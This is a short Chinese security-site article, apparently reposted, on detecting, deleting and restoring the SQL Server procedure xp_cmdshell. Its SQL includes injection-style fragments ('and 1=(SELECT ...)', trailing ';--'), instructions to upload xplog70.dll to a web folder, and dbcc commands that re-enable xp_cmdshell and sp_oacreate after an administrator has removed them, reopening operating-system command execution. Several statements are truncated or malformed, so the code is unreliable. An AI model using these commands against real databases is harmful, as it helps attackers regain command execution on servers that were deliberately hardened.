频道栏目
首页 > 安全 > 网站安全 > 正文

xp_cmdshell的删除及恢复

2007-12-03 08:15:52           
收藏   我要投稿

这个是经常要用到的。

文章来源:老蔡的家

一、xp_cmdshell的删除及恢复
1、判断xp_cmdshell是否存在
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_cmdshell)

select count(*) from master.dbo.sysobjects where xtype=x and
返回结果为1就ok

2、恢复xp_cmdshell的方法
删除扩展存储过过程xp_cmdshell的语句
exec sp_dropextendedproc xp_cmdshell

恢复cmdshell的sql语句
exec sp_addextendedproc xp_cmdshell ,@dllname =xplog70.dll

exec master.dbo.addextendedproc xp_cmdshell,xplog70.dll;select count(*) from master.dbo.sysobjects where xtype=x and
返回结果为1就ok

否则需上传c:inetputwebxplog70.dll后
exec master.dbo.sp_addextendedproc xp_cmdshell,’c:inetputwebxplog70.dll’;--

如果是用以下方法删除
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc xp_cmdshell

则可以用以下语句恢复
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")
这样可以直接恢复,不用去管sp_addextendedproc是不是存在

相关TAG标签
上一篇:php函数htmlentities默认参数不过滤'导致xss攻击
下一篇:SQL LOG备份
相关文章
图文推荐
文章
推荐
热门新闻

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站